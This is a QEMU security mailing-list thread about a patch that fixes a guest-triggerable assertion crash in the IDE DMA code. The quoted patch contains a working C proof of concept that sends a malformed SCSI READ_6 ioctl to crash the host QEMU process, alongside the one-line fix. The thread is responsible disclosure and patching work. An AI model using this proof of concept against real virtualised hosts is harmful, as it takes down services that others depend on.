Re: [QEMU-SECURITY] ide: fix assertion in ide_dma_cb() to prevent qemu DoS from quest

[Michael S. Tsirkin]

On Wed, Nov 06, 2019 at 01:17:51PM +0300, Alexander Popov wrote:
> On 27.07.2019 00:09, Alexander Popov wrote:
> > On 26.07.2019 2:25:03 GMT+02:00, John Snow <address@hidden> wrote:
> >> Oh, this is fun.
> > ...
> >> I can worry about a proper fix for 4.2+.
> >
> > Hello John,
> >
> > Thanks for your letter.
> >
> > I double-checked the git history and mailing list, I'm still sure
> > that my fix for this assertion is correct.
> 
> Hello!
> 
> I'm pointing politely to this issue again.
> 
> It crashes qemu during syzkaller fuzzing.
> 
> It's really annoying to manually apply the fix against it to qemu.

I understand. Maybe the fuzzer can be taught to skip the
specific issue for now?

> I'm quoting my patch from July that _correctly_ fixes the wrong assertion
> introduced in the commit a718978ed58a.
> 
> Why don't you apply my commit and then do the refactoring later when you want?
> 
> Best regards,
> Alexander
> 
> On 05.07.2019 17:07, Alexander Popov wrote:
> > This assertion was introduced in the commit a718978ed58a in July 2015.
> > It implies that the size of successful DMA transfers handled in
> > ide_dma_cb() should be multiple of 512 (the size of a sector).
> > 
> > But guest systems can initiate DMA transfers that don't fit this
> > requirement. Let's improve the assertion to prevent qemu DoS from quests.
> > 
> > PoC for Linux that uses SCSI_IOCTL_SEND_COMMAND to perform such an ATA
> > command and crash qemu:
> > 
> > #include <stdio.h>
> > #include <sys/ioctl.h>
> > #include <stdint.h>
> > #include <sys/types.h>
> > #include <sys/stat.h>
> > #include <fcntl.h>
> > #include <string.h>
> > #include <stdlib.h>
> > #include <scsi/scsi.h>
> > #include <scsi/scsi_ioctl.h>
> > 
> > #define CMD_SIZE 2048
> > 
> > struct scsi_ioctl_cmd_6 {
> >     unsigned int inlen;
> >     unsigned int outlen;
> >     unsigned char cmd[6];
> >     unsigned char data[];
> > };
> > 
> > int main(void)
> > {
> >     intptr_t fd = 0;
> >     struct scsi_ioctl_cmd_6 *cmd = NULL;
> > 
> >     cmd = malloc(CMD_SIZE);
> >     if (!cmd) {
> >             perror("[-] malloc");
> >             return 1;
> >     }
> > 
> >     memset(cmd, 0, CMD_SIZE);
> >     cmd->inlen = 1337;
> >     cmd->cmd[0] = READ_6;
> > 
> >     fd = open("/dev/sg0", O_RDONLY);
> >     if (fd == -1) {
> >             perror("[-] opening sg");
> >             return 1;
> >     }
> > 
> >     printf("[+] sg0 is opened\n");
> > 
> >     printf("[.] qemu should break here:\n");
> >     fflush(stdout);
> >     ioctl(fd, SCSI_IOCTL_SEND_COMMAND, cmd);
> >     printf("[-] qemu didn't break\n");
> > 
> >     free(cmd);
> > 
> >     return 1;
> > }
> > 
> > Signed-off-by: Alexander Popov <address@hidden>
> > ---
> >  hw/ide/core.c | 2 +-
> >  1 file changed, 1 insertion(+), 1 deletion(-)
> > 
> > diff --git a/hw/ide/core.c b/hw/ide/core.c
> > index 6afadf8..304fe69 100644
> > --- a/hw/ide/core.c
> > +++ b/hw/ide/core.c
> > @@ -868,7 +868,7 @@ static void ide_dma_cb(void *opaque, int ret)
> >  
> >      sector_num = ide_get_sector(s);
> >      if (n > 0) {
> > -        assert(n * 512 == s->sg.size);
> > +        assert(n == s->sg.size / 512);
> >          dma_buf_commit(s, s->sg.size);
> >          sector_num += n;
> >          ide_set_sector(s, sector_num);